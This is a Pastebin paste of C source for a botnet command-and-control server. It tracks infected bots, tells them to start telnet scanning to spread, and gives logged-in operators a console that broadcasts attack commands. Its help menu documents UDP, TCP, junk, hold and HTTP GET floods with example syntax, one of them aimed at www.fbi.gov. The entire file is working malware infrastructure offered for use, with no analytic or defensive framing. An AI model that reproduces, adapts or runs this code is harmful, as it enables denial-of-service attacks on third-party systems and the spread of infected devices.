kankercorp

controller.c

Aug 9th, 2016
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.42 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MAXFDS 1000000
  16.  
  17. //     __________  ___   _____________________     ____  ____  ______   _    _____
  18. //    /_  __/ __ \/   | / ___/_  __/ ____/ __ \   / __ )/ __ \/_  __/  | |  / /__ \
  19. //     / / / / / / /| | \__ \ / / / __/ / /_/ /  / __  / / / / / /     | | / /__/ /
  20. //    / / / /_/ / ___ |___/ // / / /___/ _, _/  / /_/ / /_/ / / /      | |/ // __/
  21. //   /_/  \____/_/  |_/____//_/ /_____/_/ |_|  /_____/\____/ /_/       |___//____/      
  22.  
  23. // Bot controller with unlimited logins, a log file, usernames instead of timestamps and a help menu
  24. // Make a folder /net and put the server file in and .login
  25. // Format of .login: User Pass
  26. // Make a new line for every login
  27. // The logs will be at /net/logs.txt
  28.  
  29. struct account {
  30.     char id[20];
  31.     char password[20];
  32. };
  33. static struct account accounts[10];
  34.  
  35. struct clientdata_t {
  36.         uint32_t ip;
  37.         char build[7];
  38.         char connected;
  39. } clients[MAXFDS];
  40.  
  41. struct telnetdata_t {
  42.         int connected;
  43. } managements[MAXFDS];
  44.  
  45. static volatile FILE *fileFD;
  46. static volatile int epollFD = 0;
  47. static volatile int listenFD = 0;
  48. static volatile int managesConnected = 0;
  49.  
  50. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  51. {
  52.         int total = 0, got = 1;
  53.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  54.         return got;
  55. }
  56.  
  57. void trim(char *str)
  58. {
  59.     int i;
  60.     int begin = 0;
  61.     int end = strlen(str) - 1;
  62.     while (isspace(str[begin])) begin++;
  63.     while ((end >= begin) && isspace(str[end])) end--;
  64.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  65.     str[i - begin] = '\0';
  66. }
  67.  
  68.  
  69. static int make_socket_non_blocking (int sfd)
  70. {
  71.         int flags, s;
  72.         flags = fcntl (sfd, F_GETFL, 0);
  73.         if (flags == -1)
  74.         {
  75.                 perror ("fcntl");
  76.                 return -1;
  77.         }
  78.         flags |= O_NONBLOCK;
  79.         s = fcntl (sfd, F_SETFL, flags);
  80.         if (s == -1)
  81.         {
  82.                 perror ("fcntl");
  83.                 return -1;
  84.         }
  85.         return 0;
  86. }
  87.  
  88.  
  89. static int create_and_bind (char *port)
  90. {
  91.         struct addrinfo hints;
  92.         struct addrinfo *result, *rp;
  93.         int s, sfd;
  94.         memset (&hints, 0, sizeof (struct addrinfo));
  95.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  96.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  97.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  98.         s = getaddrinfo (NULL, port, &hints, &result);
  99.         if (s != 0)
  100.         {
  101.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  102.                 return -1;
  103.         }
  104.         for (rp = result; rp != NULL; rp = rp->ai_next)
  105.         {
  106.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  107.                 if (sfd == -1) continue;
  108.                 int yes = 1;
  109.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  110.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  111.                 if (s == 0)
  112.                 {
  113.                         break;
  114.                 }
  115.                 close (sfd);
  116.         }
  117.         if (rp == NULL)
  118.         {
  119.                 fprintf (stderr, "Could not bind\n");
  120.                 return -1;
  121.         }
  122.         freeaddrinfo (result);
  123.         return sfd;
  124. }
  125.  
  126. //       ____  ____  ____  ___    ____  _________   ___________
  127. //      / __ )/ __ \/ __ \/   |  / __ \/ ____/   | / ___/_  __/
  128. //     / __  / /_/ / / / / /| | / / / / /   / /| | \__ \ / /  
  129. //    / /_/ / _, _/ /_/ / ___ |/ /_/ / /___/ ___ |___/ // /    
  130. //   /_____/_/ |_|\____/_/  |_/_____/\____/_/  |_/____//_/                                                              
  131.  
  132. void broadcast(char *msg, int us, char *username)
  133. {
  134.         int sendMGM = 1;
  135.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  136.         char *wot = malloc(strlen(msg) + 10);
  137.         memset(wot, 0, strlen(msg) + 10);
  138.         strcpy(wot, msg);
  139.         trim(wot);
  140.         time_t rawtime;
  141.         struct tm * timeinfo;
  142.         time(&rawtime);
  143.         timeinfo = localtime(&rawtime);
  144.         char *timestamp = asctime(timeinfo);
  145.         trim(timestamp);
  146.         int i;
  147.         for(i = 0; i < MAXFDS; i++)
  148.         {
  149.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  150.                 if(sendMGM && managements[i].connected)
  151.  
  152.                 {
  153.  
  154. send(i, "\x1b[90m", 6, MSG_NOSIGNAL);
  155.  
  156.                         send(i, username, strlen(username), MSG_NOSIGNAL);
  157.  
  158. send(i, ":\x1b[31m ", 8, MSG_NOSIGNAL);
  159.  
  160.                 }
  161.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  162.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[90m| \x1b[31m", 15, MSG_NOSIGNAL);
  163.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  164.         }
  165.         free(wot);
  166. }
  167.  
  168. void *epollEventLoop(void *useless)
  169. {
  170.         struct epoll_event event;
  171.         struct epoll_event *events;
  172.         int s;
  173.         events = calloc (MAXFDS, sizeof event);
  174.         while (1)
  175.         {
  176.                 int n, i;
  177.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  178.                 for (i = 0; i < n; i++)
  179.                 {
  180.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  181.                         {
  182.                                 clients[events[i].data.fd].connected = 0;
  183.                                 close(events[i].data.fd);
  184.                                 continue;
  185.                         }
  186.                         else if (listenFD == events[i].data.fd)
  187.                         {
  188.                                 while (1)
  189.                                 {
  190.                                         struct sockaddr in_addr;
  191.                                         socklen_t in_len;
  192.                                         int infd, ipIndex;
  193.  
  194.                                         in_len = sizeof in_addr;
  195.                                         infd = accept (listenFD, &in_addr, &in_len);
  196.                                         if (infd == -1)
  197.                                         {
  198.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  199.                                                 else
  200.                                                 {
  201.                                                         perror ("accept");
  202.                                                         break;
  203.                                                 }
  204.                                         }
  205.  
  206.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  207.  
  208.                                         int dup = 0;
  209.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  210.                                         {
  211.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  212.  
  213.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  214.                                                 {
  215.                                                         dup = 1;
  216.                                                         break;
  217.                                                 }
  218.                                         }
  219.  
  220.                                         if(dup)
  221.                                         {
  222.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  223.                                                 close(infd);
  224.                                                 continue;
  225.                                         }
  226.  
  227.                                         s = make_socket_non_blocking (infd);
  228.                                         if (s == -1) { close(infd); break; }
  229.  
  230.                                         event.data.fd = infd;
  231.                                         event.events = EPOLLIN | EPOLLET;
  232.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  233.                                         if (s == -1)
  234.                                         {
  235.                                                 perror ("epoll_ctl");
  236.                                                 close(infd);
  237.                                                 break;
  238.                                         }
  239.  
  240.                                         clients[infd].connected = 1;
  241.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  242.                                 }
  243.                                 continue;
  244.                         }
  245.                         else
  246.                         {
  247.                                 int thefd = events[i].data.fd;
  248.                                 struct clientdata_t *client = &(clients[thefd]);
  249.                                 int done = 0;
  250.                                 client->connected = 1;
  251.                                 while (1)
  252.                                 {
  253.                                         ssize_t count;
  254.                                         char buf[2048];
  255.                                         memset(buf, 0, sizeof buf);
  256.  
  257.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  258.                                         {
  259.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  260.                                                 trim(buf);
  261.                                                 if(strcmp(buf, "PING") == 0)
  262.                                                 {
  263.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  264.                                                         continue;
  265.                                                 }
  266.                                                 if(strcmp(buf, "PONG") == 0)
  267.                                                 {
  268.                                                         continue;
  269.                                                 }
  270.  
  271.                                                 printf("buf: \"%s\"\n", buf);
  272.                                         }
  273.  
  274.                                         if (count == -1)
  275.                                         {
  276.                                                 if (errno != EAGAIN)
  277.                                                 {
  278.                                                         done = 1;
  279.                                                 }
  280.                                                 break;
  281.                                         }
  282.                                         else if (count == 0)
  283.                                         {
  284.                                                 done = 1;
  285.                                                 break;
  286.                                         }
  287.                                 }
  288.  
  289.                                 if (done)
  290.                                 {
  291.                                         client->connected = 0;
  292.                                         close(thefd);
  293.                                 }
  294.                         }
  295.                 }
  296.         }
  297. }
  298.  
  299. unsigned int clientsConnected()
  300. {
  301.         int i = 0, total = 0;
  302.         for(i = 0; i < MAXFDS; i++)
  303.         {
  304.                 if(!clients[i].connected) continue;
  305.                 total++;
  306.         }
  307.         return total;
  308. }
  309.  
  310. int Search_in_File(char *str)
  311. {
  312.     FILE *fp;
  313.     int line_num = 0;
  314.     int find_result = 0, find_line=0;
  315.     char temp[512];
  316.  
  317.     if((fp = fopen("/net/.login", "r")) == NULL){
  318.         return(-1);
  319.     }
  320.     while(fgets(temp, 512, fp) != NULL){
  321.         if((strstr(temp, str)) != NULL){
  322.             find_result++;
  323.             find_line = line_num;
  324.         }
  325.         line_num++;
  326.     }
  327.     if(fp)
  328.         fclose(fp);
  329.  
  330.     if(find_result == 0)return 0;
  331.  
  332.     return find_line;
  333. }
  334.  
  335. //     ______________    _   ______________   _       ______  ____  __ __ __________
  336. //    /_  __/ ____/ /   / | / / ____/_  __/  | |     / / __ \/ __ \/ //_// ____/ __ \
  337. //     / / / __/ / /   /  |/ / __/   / /     | | /| / / / / / /_/ / ,<  / __/ / /_/ /
  338. //    / / / /___/ /___/ /|  / /___  / /      | |/ |/ / /_/ / _, _/ /| |/ /___/ _, _/
  339. //   /_/ /_____/_____/_/ |_/_____/ /_/       |__/|__/\____/_/ |_/_/ |_/_____/_/ |_|                                                                              
  340.  
  341. void *telnetWorker(void *sock, void *telnetListener)
  342. {
  343.         int thefd = (int)sock;
  344.         int find_line;
  345.         managesConnected++;
  346.         pthread_t title;
  347.         char counter[2048];
  348.         memset(counter, 0, 2048);
  349.         char buf[2048];
  350.         char* nickstring;
  351.         char* username;
  352.         char* password;
  353.         memset(buf, 0, sizeof buf);
  354.         char botnet[2048];
  355.         memset(botnet, 0, 2048);
  356.    
  357.         FILE *fp;
  358.         int i=0;
  359.         int c;
  360.         fp=fopen("/net/.login", "r");
  361.         while(!feof(fp))
  362.         {
  363.                 c=fgetc(fp);
  364.                 ++i;
  365.         }
  366.         int j=0;
  367.         rewind(fp);
  368.         while(j!=i-1)
  369.         {
  370.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  371.             ++j;
  372.         }
  373.        
  374.         if(send(thefd, "\x1b[0mUsername:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  375.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  376.         trim(buf);
  377.         nickstring = ("%s", buf);
  378.         find_line = Search_in_File(nickstring);
  379.         if(strcmp(nickstring, accounts[find_line].id) == 0){
  380.         if(send(thefd, "\x1b[0mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;                 
  381.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  382.         trim(buf);
  383.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  384.         memset(buf, 0, 2048);
  385.         goto fak;
  386.         }
  387.         failed:
  388.         if(send(thefd, "\x1b[0mInvalid credentials\x1b[0m\r\n", 31, MSG_NOSIGNAL) == -1) goto end;
  389.         sleep(3);
  390.         goto end;
  391.         fak:
  392.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  393.         if(send(thefd, "\033[H\033[J\x1b[90m*****************************************\r\n", 56, MSG_NOSIGNAL) == -1) goto end;
  394.         if(send(thefd, "*         \x1b[31mWELCOME TO THE BOTNET\x1b[90m         *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  395.         if(send(thefd, "*          \x1b[31mNOW WITH HTTP FLOOD\x1b[90m          *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  396.         if(send(thefd, "*****************************************\r\n\r\n\x1b[90m| \x1b[31m", 58, MSG_NOSIGNAL) == -1) goto end;
  397.         managements[thefd].connected = 1;
  398.    
  399.        if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  400.    
  401.        while(fdgets(buf, sizeof buf, thefd) > 0)
  402.        {
  403.  
  404.         //      __________  __  _____  ______    _   ______  _____
  405.         //     / ____/ __ \/  |/  /  |/  /   |  / | / / __ \/ ___/
  406.         //    / /   / / / / /|_/ / /|_/ / /| | /  |/ / / / /\__ \
  407.         //   / /___/ /_/ / /  / / /  / / ___ |/ /|  / /_/ /___/ /
  408.         //   \____/\____/_/  /_/_/  /_/_/  |_/_/ |_/_____//____/  
  409.                                                      
  410.        if(strncmp(buf, "BOTS", 4) == 0){
  411.                     char botnet[2048];
  412.                     memset(botnet, 0, 2048);
  413.                     sprintf(botnet, "Bots online: %d\r\n", clientsConnected());
  414.                     send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL);
  415.                     memset(buf, 0, 2048);
  416.                     goto next;
  417.         }
  418.        if(strncmp(buf, "USERS", 5) == 0){
  419.                     char botnet[2048];
  420.                     memset(botnet, 0, 2048);
  421.                     sprintf(botnet, "Users online: %d\r\n", managesConnected);
  422.                     send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL);
  423.                     memset(buf, 0, 2048);
  424.                     goto next;
  425.         }
  426.         if(strncmp(buf, "CLEAR", 5) == 0){
  427.                     goto fak;
  428.                     memset(buf, 0, 2048);
  429.         }
  430.        if(strncmp(buf, "HELP", 4) == 0){  
  431.             if(strncmp(buf, "HELP BOTS", 9) == 0)
  432.             {  
  433.             if(send(thefd, "Displays amount of bots online\r\n\r\n", 34, MSG_NOSIGNAL) == -1) goto end;
  434.             if(send(thefd, "Usage: BOTS\r\n", 13, MSG_NOSIGNAL) == -1) goto end;
  435.             memset(buf, 0, 2048);
  436.             goto next;
  437.             }
  438.             if(strncmp(buf, "HELP USERS", 10) == 0)
  439.             {
  440.             if(send(thefd, "Displays amount of users online\r\n\r\n", 35, MSG_NOSIGNAL) == -1) goto end;
  441.             if(send(thefd, "Usage: USERS\r\n", 14, MSG_NOSIGNAL) == -1) goto end;
  442.             memset(buf, 0, 2048);
  443.             goto next;
  444.             }
  445.             if(strncmp(buf, "HELP CLEAR", 10) == 0)
  446.             {  
  447.             if(send(thefd, "Clears the screen\r\n\r\n", 21, MSG_NOSIGNAL) == -1) goto end;
  448.             if(send(thefd, "Usage: CLEAR\r\n", 14, MSG_NOSIGNAL) == -1) goto end;
  449.             memset(buf, 0, 2048);
  450.             goto next;
  451.             }
  452.             if(strncmp(buf, "HELP SCANNER", 12) == 0)
  453.             {  
  454.             if(send(thefd, "Telnet scanner\r\n\r\n", 18, MSG_NOSIGNAL) == -1) goto end;
  455.             if(send(thefd, "Usage: !* SCANNER ON | OFF\r\n", 28, MSG_NOSIGNAL) == -1) goto end;
  456.             memset(buf, 0, 2048);
  457.             goto next;
  458.             }
  459.             if(strncmp(buf, "HELP UDP", 8) == 0)
  460.             {  
  461.             if(send(thefd, "UDP flood\r\n\r\n", 13, MSG_NOSIGNAL) == -1) goto end;
  462.             if(send(thefd, "Usage: !* UDP IP PORT TIME NMASK PSIZE PI\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  463.             if(send(thefd, "Example: !* UDP 1.1.1.1 80 30 32 900 10\r\n", 41, MSG_NOSIGNAL) == -1) goto end;
  464.             memset(buf, 0, 2048);
  465.             goto next;
  466.             }
  467.             if(strncmp(buf, "HELP TCP", 8) == 0)
  468.             {  
  469.             if(send(thefd, "TCP flood\r\n\r\n", 13, MSG_NOSIGNAL) == -1) goto end;
  470.             if(send(thefd, "Usage: !* TCP IP PORT TIME NMASK FLAGS PSIZE PI\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  471.             if(send(thefd, "Example: !* TCP 1.1.1.1 80 30 32 (syn, rst, fin, ack, psh, all) 0 10\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
  472.             memset(buf, 0, 2048);
  473.             goto next;
  474.             }
  475.             if(strncmp(buf, "HELP JUNK", 9) == 0)
  476.             {  
  477.             if(send(thefd, "JUNK flood\r\n\r\n", 14, MSG_NOSIGNAL) == -1) goto end;
  478.             if(send(thefd, "Usage: !* JUNK IP PORT TIME\r\n", 29, MSG_NOSIGNAL) == -1) goto end;
  479.             if(send(thefd, "Example: !* JUNK 1.1.1.1 80 30\r\n", 32, MSG_NOSIGNAL) == -1) goto end;
  480.             memset(buf, 0, 2048);
  481.             goto next;
  482.             }
  483.             if(strncmp(buf, "HELP HOLD", 9) == 0)
  484.             {  
  485.             if(send(thefd, "HOLD flood\r\n\r\n", 14, MSG_NOSIGNAL) == -1) goto end;
  486.             if(send(thefd, "Usage: !* HOLD IP PORT TIME\r\n", 29, MSG_NOSIGNAL) == -1) goto end;
  487.             if(send(thefd, "Example: !* HOLD 1.1.1.1 80 30\r\n", 32, MSG_NOSIGNAL) == -1) goto end;
  488.             memset(buf, 0, 2048);
  489.             goto next;
  490.             }
  491.             if(strncmp(buf, "HELP HTTP", 9) == 0)
  492.             {  
  493.             if(send(thefd, "HTTP GET flood\r\n\r\n", 18, MSG_NOSIGNAL) == -1) goto end;
  494.             if(send(thefd, "Usage: !* HTTP HOST TIME\r\n", 26, MSG_NOSIGNAL) == -1) goto end;
  495.             if(send(thefd, "Example: !* HTTP www.fbi.gov 30\r\n", 33, MSG_NOSIGNAL) == -1) goto end;
  496.             memset(buf, 0, 2048);
  497.             goto next;
  498.             }
  499.             if(strncmp(buf, "HELP STOP", 9) == 0)
  500.             {  
  501.             if(send(thefd, "Stops ALL attacks\r\n\r\n", 21, MSG_NOSIGNAL) == -1) goto end;
  502.             if(send(thefd, "Usage: !* STOP\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  503.             memset(buf, 0, 2048);
  504.             goto next;
  505.             }
  506.             else
  507.             {
  508.             if(send(thefd, "Usage: HELP (BOTS, USERS, CLEAR, SCANNER, UDP, TCP, JUNK, HOLD, HTTP, STOP)\r\n", 77, MSG_NOSIGNAL) == -1) goto end;
  509.             memset(buf, 0, 2048);
  510.             }
  511.        }
  512.                 next:
  513.                 trim(buf);
  514.                 if(send(thefd, "\x1b[90m| \x1b[31m", 13, MSG_NOSIGNAL) == -1) goto end;
  515.                 if(strlen(buf) == 0) continue;
  516.                 FILE *logFile;
  517.                 logFile = fopen("/net/logs.txt", "a");
  518.                 fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  519.                 fclose(logFile);
  520.                 broadcast(buf, thefd, accounts[find_line].id);
  521.                 memset(buf, 0, 2048);
  522.            }
  523.  
  524.         end:
  525.                 managements[thefd].connected = 0;
  526.                 close(thefd);
  527.                 managesConnected--;
  528. }
  529.  
  530. void *telnetListener(int port)
  531. {
  532.         int sockfd, newsockfd;
  533.         socklen_t clilen;
  534.         struct sockaddr_in serv_addr, cli_addr;
  535.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  536.         if (sockfd < 0) perror("ERROR opening socket");
  537.         bzero((char *) &serv_addr, sizeof(serv_addr));
  538.         serv_addr.sin_family = AF_INET;
  539.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  540.         serv_addr.sin_port = htons(port);
  541.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  542.         listen(sockfd,5);
  543.         clilen = sizeof(cli_addr);
  544.         while(1)
  545.         {
  546.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  547.                 if (newsockfd < 0) perror("ERROR on accept");
  548.                 pthread_t thread;
  549.                 int a=pthread_create(&thread,NULL,&telnetWorker,(void *)newsockfd);
  550.         }
  551. }
  552.  
  553. int main(int argc, char *argv[])
  554. {
  555.         signal(SIGPIPE, SIG_IGN);
  556.         int s, threads, port;
  557.         struct epoll_event event;
  558.         port = atoi(argv[3]);
  559.         if (argc != 4)
  560.         {
  561.                 fprintf (stderr, "Usage: %s [bot port] [threads] [mgm port]\n", argv[0]);
  562.                 exit (EXIT_FAILURE);
  563.         }
  564.         fileFD = NULL;
  565.         threads = atoi(argv[2]);
  566.  
  567.         listenFD = create_and_bind (argv[1]);
  568.         if (listenFD == -1) abort ();
  569.  
  570.         s = make_socket_non_blocking (listenFD);
  571.         if (s == -1) abort ();
  572.  
  573.         s = listen (listenFD, SOMAXCONN);
  574.         if (s == -1)
  575.         {
  576.                 perror ("listen");
  577.                 abort ();
  578.         }
  579.         epollFD = epoll_create1 (0);
  580.         if (epollFD == -1)
  581.         {
  582.                 perror ("epoll_create");
  583.                 abort ();
  584.         }
  585.  
  586.         event.data.fd = listenFD;
  587.         event.events = EPOLLIN | EPOLLET;
  588.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  589.         if (s == -1)
  590.         {
  591.                 perror ("epoll_ctl");
  592.                 abort ();
  593.         }
  594.         pthread_t thread[threads + 2];
  595.         while(threads--)
  596.         {
  597.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  598.         }
  599.         pthread_create(&thread[0], NULL, &telnetListener, port);
  600.  
  601.          while(1)
  602.         {
  603.             broadcast("PING", -1, "2742242");
  604.  
  605.             sleep(60);
  606.         }
  607.  
  608.  
  609.         close (listenFD);
  610.  
  611.         return EXIT_SUCCESS;
  612. }
Add Comment
Please, Sign In to add comment